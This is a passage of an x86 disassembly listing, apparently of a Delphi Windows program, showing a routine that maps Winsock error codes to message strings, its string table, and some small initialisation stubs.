		jz	loc_4103E5
		jmp	loc_410711	; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410225:				; CODE XREF: sub_4101AC+4Fj
		sub	eax, 271Eh
		jz	loc_410407
		sub	eax, 8
		jz	loc_410418
		jmp	loc_410711	; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41023E:				; CODE XREF: sub_4101AC+42j
		add	eax, 0FFFFD8CDh	; switch 5 cases 
		cmp	eax, 4
		ja	loc_410711	; default
		jmp	ds:off_410253[eax*4] ; switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_410253	dd offset loc_41043A	; DATA XREF: sub_4101AC+A0r
		dd offset loc_41044B	; jump table for switch	statement
		dd offset loc_41045C
		dd offset loc_41046D
		dd offset loc_41047E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410267:				; CODE XREF: sub_4101AC+31j
		add	eax, 0FFFFD8C7h	; switch 12 cases 
		cmp	eax, 0Bh
		ja	loc_410711	; default
		jmp	ds:off_41027C[eax*4] ; switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_41027C	dd offset loc_4104A0	; DATA XREF: sub_4101AC+C9r
		dd offset loc_4104B1	; jump table for switch	statement
		dd offset loc_4104C2
		dd offset loc_4104D3
		dd offset loc_4104E4
		dd offset loc_4104F5
		dd offset loc_410506
		dd offset loc_410517
		dd offset loc_410528
		dd offset loc_410539
		dd offset loc_41054A
		dd offset loc_41055B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4102AC:				; CODE XREF: sub_4101AC+20j
		cmp	eax, 2752h
		jg	short loc_4102FE
		jz	loc_410649
		add	eax, 0FFFFD8BAh	; switch 12 cases 
		cmp	eax, 0Bh
		ja	loc_410711	; default
		jmp	ds:off_4102CE[eax*4] ; switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_4102CE	dd offset loc_41057D	; DATA XREF: sub_4101AC+11Br
		dd offset loc_41058E	; jump table for switch	statement
		dd offset loc_41059F
		dd offset loc_4105B0
		dd offset loc_4105C1
		dd offset loc_4105D2
		dd offset loc_4105E3
		dd offset loc_4105F4
		dd offset loc_410605
		dd offset loc_410616
		dd offset loc_410627
		dd offset loc_410638
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4102FE:				; CODE XREF: sub_4101AC+105j
		cmp	eax, 276Ch
		jg	short loc_410384
		jz	loc_4106BD
		add	eax, 0FFFFD8ADh	; switch 25 cases 
		cmp	eax, 18h
		ja	loc_410711	; default
		jmp	ds:off_410320[eax*4] ; switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_410320	dd offset loc_41065A	; DATA XREF: sub_4101AC+16Dr
		dd offset loc_41066B	; jump table for switch	statement
		dd offset loc_41067C
		dd offset loc_41068D
		dd offset loc_41069E
		dd offset loc_410711
		dd offset loc_410711
		dd offset loc_410711
		dd offset loc_410711
		dd offset loc_410711
		dd offset loc_410711
		dd offset loc_410711
		dd offset loc_410711
		dd offset loc_410711
		dd offset loc_410711
		dd offset loc_410711
		dd offset loc_410711
		dd offset loc_410711
		dd offset loc_410711
		dd offset loc_410711
		dd offset loc_410711
		dd offset loc_410711
		dd offset loc_410711
		dd offset loc_410711
		dd offset loc_4106AF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410384:				; CODE XREF: sub_4101AC+157j
		cmp	eax, 2AFAh
		jg	short loc_4103AC
		jz	loc_4106E7
		sub	eax, 276Dh
		jz	loc_4106CB
		sub	eax, 38Ch
		jz	loc_4106D9
		jmp	loc_410711	; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4103AC:				; CODE XREF: sub_4101AC+1DDj
		sub	eax, 2AFBh
		jz	loc_4106F5
		dec	eax
		jz	loc_410703
		jmp	loc_410711	; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4103C3:				; CODE XREF: sub_4101AC+5Aj
		mov	eax, esi
		mov	edx, offset dword_410760
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4103D4:				; CODE XREF: sub_4101AC+65j
		mov	eax, esi
		mov	edx, offset aInterruptedSys ; "Interrupted system call"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4103E5:				; CODE XREF: sub_4101AC+6Ej
		mov	eax, esi
		mov	edx, offset aBadFileNumber ; "Bad file number"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4103F6:				; CODE XREF: sub_4101AC+51j
		mov	eax, esi
		mov	edx, offset aPermissionDeni ; "Permission denied"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410407:				; CODE XREF: sub_4101AC+7Ej
		mov	eax, esi
		mov	edx, offset dword_4107C0
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410418:				; CODE XREF: sub_4101AC+87j
		mov	eax, esi
		mov	edx, offset aInvalidArgumen ; "Invalid argument"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410429:				; CODE XREF: sub_4101AC+44j
		mov	eax, esi
		mov	edx, offset aTooManyOpenFil ; "Too many	open files"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41043A:				; CODE XREF: sub_4101AC+A0j
					; DATA XREF: sub_4101AC+A7o
		mov	eax, esi	; case 0x2733
		mov	edx, offset aOperationWould ; "Operation would block"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41044B:				; CODE XREF: sub_4101AC+A0j
					; DATA XREF: sub_4101AC+A7o
		mov	eax, esi	; case 0x2734
		mov	edx, offset aOperationNowIn ; "Operation now in	progress"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41045C:				; CODE XREF: sub_4101AC+A0j
					; DATA XREF: sub_4101AC+A7o
		mov	eax, esi	; case 0x2735
		mov	edx, offset aOperationAlrea ; "Operation already in progress"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41046D:				; CODE XREF: sub_4101AC+A0j
					; DATA XREF: sub_4101AC+A7o
		mov	eax, esi	; case 0x2736
		mov	edx, offset aSocketOperatio ; "Socket operation	on nonsocket"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41047E:				; CODE XREF: sub_4101AC+A0j
					; DATA XREF: sub_4101AC+A7o
		mov	eax, esi	; case 0x2737
		mov	edx, offset aDestinationAdd ; "Destination address required"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41048F:				; CODE XREF: sub_4101AC+37j
		mov	eax, esi
		mov	edx, offset aMessageTooLong ; "Message too long"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4104A0:				; CODE XREF: sub_4101AC+C9j
					; DATA XREF: sub_4101AC+D0o
		mov	eax, esi	; case 0x2739
		mov	edx, offset aProtocolWrongT ; "Protocol	wrong type for socket"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4104B1:				; CODE XREF: sub_4101AC+C9j
					; DATA XREF: sub_4101AC+D0o
		mov	eax, esi	; case 0x273a
		mov	edx, offset aProtocolNotAva ; "Protocol	not available"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4104C2:				; CODE XREF: sub_4101AC+C9j
					; DATA XREF: sub_4101AC+D0o
		mov	eax, esi	; case 0x273b
		mov	edx, offset aProtocolNotSup ; "Protocol	not supported"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4104D3:				; CODE XREF: sub_4101AC+C9j
					; DATA XREF: sub_4101AC+D0o
		mov	eax, esi	; case 0x273c
		mov	edx, offset aSocketNotSuppo ; "Socket not supported"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4104E4:				; CODE XREF: sub_4101AC+C9j
					; DATA XREF: sub_4101AC+D0o
		mov	eax, esi	; case 0x273d
		mov	edx, offset aOperationNotSu ; "Operation not supported on socket"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4104F5:				; CODE XREF: sub_4101AC+C9j
					; DATA XREF: sub_4101AC+D0o
		mov	eax, esi	; case 0x273e
		mov	edx, offset aProtocolFamily ; "Protocol	family not supported"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410506:				; CODE XREF: sub_4101AC+C9j
					; DATA XREF: sub_4101AC+D0o
		mov	eax, esi	; case 0x273f
		mov	edx, offset aAddressFamilyN ; "Address family not supported"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410517:				; CODE XREF: sub_4101AC+C9j
					; DATA XREF: sub_4101AC+D0o
		mov	eax, esi	; case 0x2740
		mov	edx, offset aAddressAlready ; "Address already in use"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410528:				; CODE XREF: sub_4101AC+C9j
					; DATA XREF: sub_4101AC+D0o
		mov	eax, esi	; case 0x2741
		mov	edx, offset aCanTAssignRequ ; "Can't assign requested address"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410539:				; CODE XREF: sub_4101AC+C9j
					; DATA XREF: sub_4101AC+D0o
		mov	eax, esi	; case 0x2742
		mov	edx, offset aNetworkIsDown ; "Network is down"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41054A:				; CODE XREF: sub_4101AC+C9j
					; DATA XREF: sub_4101AC+D0o
		mov	eax, esi	; case 0x2743
		mov	edx, offset aNetworkIsUnrea ; "Network is unreachable"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41055B:				; CODE XREF: sub_4101AC+C9j
					; DATA XREF: sub_4101AC+D0o
		mov	eax, esi	; case 0x2744
		mov	edx, offset aNetworkDropped ; "Network dropped connection on reset"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41056C:				; CODE XREF: sub_4101AC+26j
		mov	eax, esi
		mov	edx, offset aSoftwareCaused ; "Software	caused connection abort"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41057D:				; CODE XREF: sub_4101AC+11Bj
					; DATA XREF: sub_4101AC+122o
		mov	eax, esi	; case 0x2746
		mov	edx, offset aConnectionRese ; "Connection reset	by peer"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41058E:				; CODE XREF: sub_4101AC+11Bj
					; DATA XREF: sub_4101AC+122o
		mov	eax, esi	; case 0x2747
		mov	edx, offset aNoBufferSpaceA ; "No buffer space available"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41059F:				; CODE XREF: sub_4101AC+11Bj
					; DATA XREF: sub_4101AC+122o
		mov	eax, esi	; case 0x2748
		mov	edx, offset aSocketIsAlread ; "Socket is already connected"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4105B0:				; CODE XREF: sub_4101AC+11Bj
					; DATA XREF: sub_4101AC+122o
		mov	eax, esi	; case 0x2749
		mov	edx, offset aSocketIsNotCon ; "Socket is not connected"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4105C1:				; CODE XREF: sub_4101AC+11Bj
					; DATA XREF: sub_4101AC+122o
		mov	eax, esi	; case 0x274a
		mov	edx, offset aCanTSendAfterS ; "Can't send after socket shutdown"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4105D2:				; CODE XREF: sub_4101AC+11Bj
					; DATA XREF: sub_4101AC+122o
		mov	eax, esi	; case 0x274b
		mov	edx, offset aTooManyReferen ; "Too many	references:can't splice"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4105E3:				; CODE XREF: sub_4101AC+11Bj
					; DATA XREF: sub_4101AC+122o
		mov	eax, esi	; case 0x274c
		mov	edx, offset aConnectionTime ; "Connection timed	out"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4105F4:				; CODE XREF: sub_4101AC+11Bj
					; DATA XREF: sub_4101AC+122o
		mov	eax, esi	; case 0x274d
		mov	edx, offset aConnectionRefu ; "Connection refused"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410605:				; CODE XREF: sub_4101AC+11Bj
					; DATA XREF: sub_4101AC+122o
		mov	eax, esi	; case 0x274e
		mov	edx, offset aTooManyLevelsO ; "Too many	levels of symbolic links"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410616:				; CODE XREF: sub_4101AC+11Bj
					; DATA XREF: sub_4101AC+122o
		mov	eax, esi	; case 0x274f
		mov	edx, offset aFileNameIsTooL ; "File name is too	long"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410627:				; CODE XREF: sub_4101AC+11Bj
					; DATA XREF: sub_4101AC+122o
		mov	eax, esi	; case 0x2750
		mov	edx, offset dword_410C2C
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410638:				; CODE XREF: sub_4101AC+11Bj
					; DATA XREF: sub_4101AC+122o
		mov	eax, esi	; case 0x2751
		mov	edx, offset aNoRouteToHost ; "No route to host"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410649:				; CODE XREF: sub_4101AC+107j
		mov	eax, esi
		mov	edx, offset aDirectoryIsNot ; "Directory is not	empty"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41065A:				; CODE XREF: sub_4101AC+16Dj
					; DATA XREF: sub_4101AC+174o
		mov	eax, esi	; case 0x2753
		mov	edx, offset aTooManyProcess ; "Too many	processes"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41066B:				; CODE XREF: sub_4101AC+16Dj
					; DATA XREF: sub_4101AC+174o
		mov	eax, esi	; case 0x2754
		mov	edx, offset dword_410C9C
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41067C:				; CODE XREF: sub_4101AC+16Dj
					; DATA XREF: sub_4101AC+174o
		mov	eax, esi	; case 0x2755
		mov	edx, offset aDiskQuotaExcee ; "Disk quota exceeded"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41068D:				; CODE XREF: sub_4101AC+16Dj
					; DATA XREF: sub_4101AC+174o
		mov	eax, esi	; case 0x2756
		mov	edx, offset aStaleNfsFileHa ; "Stale NFS file handle"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41069E:				; CODE XREF: sub_4101AC+16Dj
					; DATA XREF: sub_4101AC+174o
		mov	eax, esi	; case 0x2757
		mov	edx, offset aTooManyLevel_0 ; "Too many	levels of remote in path"
		call	sub_40351C
		jmp	loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4106AF:				; CODE XREF: sub_4101AC+16Dj
					; DATA XREF: sub_4101AC+174o
		mov	eax, esi	; case 0x276b
		mov	edx, offset aNetworkSubsyst ; "Network subsystem is unusable"
		call	sub_40351C
		jmp	short loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4106BD:				; CODE XREF: sub_4101AC+159j
		mov	eax, esi
		mov	edx, offset aWinsockDllCann ; "Winsock DLL cannot support this applica"...
		call	sub_40351C
		jmp	short loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4106CB:				; CODE XREF: sub_4101AC+1EAj
		mov	eax, esi
		mov	edx, offset aWinsockNotInit ; "Winsock not initialized"
		call	sub_40351C
		jmp	short loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4106D9:				; CODE XREF: sub_4101AC+1F5j
		mov	eax, esi
		mov	edx, offset dword_410D98
		call	sub_40351C
		jmp	short loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4106E7:				; CODE XREF: sub_4101AC+1DFj
		mov	eax, esi
		mov	edx, offset aNonAuthoritati ; "Non authoritative - host	not found"
		call	sub_40351C
		jmp	short loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4106F5:				; CODE XREF: sub_4101AC+205j
		mov	eax, esi
		mov	edx, offset aNonRecoverable ; "Non recoverable error"
		call	sub_40351C
		jmp	short loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410703:				; CODE XREF: sub_4101AC+20Cj
		mov	eax, esi
		mov	edx, offset aValidNameNoDat ; "Valid name, no data record of requested"...
		call	sub_40351C
		jmp	short loc_410734
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410711:				; CODE XREF: sub_4101AC+74j
					; sub_4101AC+8Dj ...
		push	offset aNotAWinsockErr ; default
		lea	edx, [ebp+var_4]
		mov	eax, ebx
		call	sub_406FEC
		push	[ebp+var_4]
		push	offset dword_410E54
		mov	eax, esi
		mov	edx, 3
		call	sub_4037E4

loc_410734:				; CODE XREF: sub_4101AC+223j
					; sub_4101AC+234j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_410751

loc_410741:				; CODE XREF: CODE:0041074Fj
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_4101AC	endp ; sp = -20h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41074A:				; DATA XREF: sub_4101AC+Eo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_410741
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410751:				; DATA XREF: sub_4101AC+590o
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 2
dword_410760	dd 4B4Fh, 0FFFFFFFFh, 17h ; DATA XREF: sub_4101AC+219o
aInterruptedSys	db 'Interrupted system call',0 ; DATA XREF: sub_4101AC+22Ao
		dd 0FFFFFFFFh, 0Fh
aBadFileNumber	db 'Bad file number',0  ; DATA XREF: sub_4101AC+23Bo
		dd 0FFFFFFFFh, 11h
aPermissionDeni	db 'Permission denied',0 ; DATA XREF: sub_4101AC+24Co
		align 4
		dd 0FFFFFFFFh, 0Bh
dword_4107C0	dd 20646142h, 72646461h, 737365h, 0FFFFFFFFh, 10h
					; DATA XREF: sub_4101AC+25Do
aInvalidArgumen	db 'Invalid argument',0 ; DATA XREF: sub_4101AC+26Eo
		align 4
		dd 0FFFFFFFFh, 13h
aTooManyOpenFil	db 'Too many open files',0 ; DATA XREF: sub_4101AC+27Fo
		dd 0FFFFFFFFh, 15h
aOperationWould	db 'Operation would block',0 ; DATA XREF: sub_4101AC+290o
		align 4
		dd 0FFFFFFFFh, 19h
aOperationNowIn	db 'Operation now in progress',0 ; DATA XREF: sub_4101AC+2A1o
		align 4
		dd 0FFFFFFFFh, 1Dh
aOperationAlrea	db 'Operation already in progress',0 ; DATA XREF: sub_4101AC+2B2o
		align 4
		dd 0FFFFFFFFh, 1Dh
aSocketOperatio	db 'Socket operation on nonsocket',0 ; DATA XREF: sub_4101AC+2C3o
		align 4
		dd 0FFFFFFFFh, 1Ch
aDestinationAdd	db 'Destination address required',0 ; DATA XREF: sub_4101AC+2D4o
		align 4
		dd 0FFFFFFFFh, 10h
aMessageTooLong	db 'Message too long',0 ; DATA XREF: sub_4101AC+2E5o
		align 4
		dd 0FFFFFFFFh, 1Eh
aProtocolWrongT	db 'Protocol wrong type for socket',0 ; DATA XREF: sub_4101AC+2F6o
		align 4
		dd 0FFFFFFFFh, 16h
aProtocolNotAva	db 'Protocol not available',0 ; DATA XREF: sub_4101AC+307o
		align 4
		dd 0FFFFFFFFh, 16h
aProtocolNotSup	db 'Protocol not supported',0 ; DATA XREF: sub_4101AC+318o
		align 4
		dd 0FFFFFFFFh, 14h
aSocketNotSuppo	db 'Socket not supported',0 ; DATA XREF: sub_4101AC+329o
		align 4
		dd 0FFFFFFFFh, 21h
aOperationNotSu	db 'Operation not supported on socket',0 ; DATA XREF: sub_4101AC+33Ao
		align 4
		dd 0FFFFFFFFh, 1Dh
aProtocolFamily	db 'Protocol family not supported',0 ; DATA XREF: sub_4101AC+34Bo
		align 4
		dd 0FFFFFFFFh, 1Ch
aAddressFamilyN	db 'Address family not supported',0 ; DATA XREF: sub_4101AC+35Co
		align 4
		dd 0FFFFFFFFh, 16h
aAddressAlready	db 'Address already in use',0 ; DATA XREF: sub_4101AC+36Do
		align 4
		dd 0FFFFFFFFh, 1Eh
aCanTAssignRequ	db 'Can',27h,'t assign requested address',0 ; DATA XREF: sub_4101AC+37Eo
		align 4
		dd 0FFFFFFFFh, 0Fh
aNetworkIsDown	db 'Network is down',0  ; DATA XREF: sub_4101AC+38Fo
		dd 0FFFFFFFFh, 16h
aNetworkIsUnrea	db 'Network is unreachable',0 ; DATA XREF: sub_4101AC+3A0o
		align 4
		dd 0FFFFFFFFh, 23h
aNetworkDropped	db 'Network dropped connection on reset',0 ; DATA XREF: sub_4101AC+3B1o
		dd 0FFFFFFFFh, 20h
aSoftwareCaused	db 'Software caused connection abort',0 ; DATA XREF: sub_4101AC+3C2o
		align 4
		dd 0FFFFFFFFh, 18h
aConnectionRese	db 'Connection reset by peer',0 ; DATA XREF: sub_4101AC+3D3o
		align 4
		dd 0FFFFFFFFh, 19h
aNoBufferSpaceA	db 'No buffer space available',0 ; DATA XREF: sub_4101AC+3E4o
		align 4
		dd 0FFFFFFFFh, 1Bh
aSocketIsAlread	db 'Socket is already connected',0 ; DATA XREF: sub_4101AC+3F5o
		dd 0FFFFFFFFh, 17h
aSocketIsNotCon	db 'Socket is not connected',0 ; DATA XREF: sub_4101AC+406o
		dd 0FFFFFFFFh, 20h
aCanTSendAfterS	db 'Can',27h,'t send after socket shutdown',0 ; DATA XREF: sub_4101AC+417o
		align 4
		dd 0FFFFFFFFh, 20h
aTooManyReferen	db 'Too many references:can',27h,'t splice',0 ; DATA XREF: sub_4101AC+428o
		align 4
		dd 0FFFFFFFFh, 14h
aConnectionTime	db 'Connection timed out',0 ; DATA XREF: sub_4101AC+439o
		align 4
		dd 0FFFFFFFFh, 12h
aConnectionRefu	db 'Connection refused',0 ; DATA XREF: sub_4101AC+44Ao
		align 4
		dd 0FFFFFFFFh, 21h
aTooManyLevelsO	db 'Too many levels of symbolic links',0 ; DATA XREF: sub_4101AC+45Bo
		align 4
		dd 0FFFFFFFFh, 15h
aFileNameIsTooL	db 'File name is too long',0 ; DATA XREF: sub_4101AC+46Co
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_410C2C	dd 74736F48h, 20736920h, 6E776F64h, 0, 0FFFFFFFFh, 10h
					; DATA XREF: sub_4101AC+47Do
aNoRouteToHost	db 'No route to host',0 ; DATA XREF: sub_4101AC+48Eo
		align 4
		dd 0FFFFFFFFh, 16h
aDirectoryIsNot	db 'Directory is not empty',0 ; DATA XREF: sub_4101AC+49Fo
		align 4
		dd 0FFFFFFFFh, 12h
aTooManyProcess	db 'Too many processes',0 ; DATA XREF: sub_4101AC+4B0o
		align 4
		dd 0FFFFFFFFh, 0Eh
dword_410C9C	dd 206F6F54h, 796E616Dh, 65737520h, 7372h, 0FFFFFFFFh
					; DATA XREF: sub_4101AC+4C1o
		dd 13h
aDiskQuotaExcee	db 'Disk quota exceeded',0 ; DATA XREF: sub_4101AC+4D2o
		dd 0FFFFFFFFh, 15h
aStaleNfsFileHa	db 'Stale NFS file handle',0 ; DATA XREF: sub_4101AC+4E3o
		align 4
		dd 0FFFFFFFFh, 21h
aTooManyLevel_0	db 'Too many levels of remote in path',0 ; DATA XREF: sub_4101AC+4F4o
		align 4
		dd 0FFFFFFFFh, 1Dh
aNetworkSubsyst	db 'Network subsystem is unusable',0 ; DATA XREF: sub_4101AC+505o
		align 4
		dd 0FFFFFFFFh, 2Bh
aWinsockDllCann	db 'Winsock DLL cannot support this application',0
					; DATA XREF: sub_4101AC+513o
		dd 0FFFFFFFFh, 17h
aWinsockNotInit	db 'Winsock not initialized',0 ; DATA XREF: sub_4101AC+521o
		dd 0FFFFFFFFh, 0Eh
dword_410D98	dd 74736F48h, 746F6E20h, 756F6620h, 646Eh, 0FFFFFFFFh
					; DATA XREF: sub_4101AC+52Fo
		dd 22h
aNonAuthoritati	db 'Non authoritative - host not found',0 ; DATA XREF: sub_4101AC+53Do
		align 4
		dd 0FFFFFFFFh, 15h
aNonRecoverable	db 'Non recoverable error',0 ; DATA XREF: sub_4101AC+54Bo
		align 4
		dd 0FFFFFFFFh, 2Ch
aValidNameNoDat	db 'Valid name, no data record of requested type',0
					; DATA XREF: sub_4101AC+559o
		align 4
		dd 0FFFFFFFFh, 15h
aNotAWinsockErr	db 'Not a Winsock error (',0 ; DATA XREF: sub_4101AC+565o
		align 4
		dd 0FFFFFFFFh, 1
dword_410E54	dd 29h			; DATA XREF: sub_4101AC+577o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_410E58	proc near		; DATA XREF: CODE:0041A960o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_410E7D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E65C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_410E84

locret_410E7C:				; CODE XREF: sub_410E58+2Aj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410E7D:				; DATA XREF: sub_410E58+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_410E7C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_410E84:				; CODE XREF: sub_410E58+24j
					; DATA XREF: sub_410E58+1Fo
		pop	ebp
		retn
sub_410E58	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_410E88:				; DATA XREF: CODE:0041A95Co
		sub	ds:dword_41E65C, 1
		jnb	short locret_410EB2
		jmp	short locret_410EB2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
aOutlookExpre_1	db 'Outlook Express TCP/IP library',0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

locret_410EB2:				; CODE XREF: CODE:00410E8Fj
					; CODE:00410E91j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_410EB4	proc near		; DATA XREF: CODE:0041A968o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_410ED9
		push	dword ptr fs:[eax]
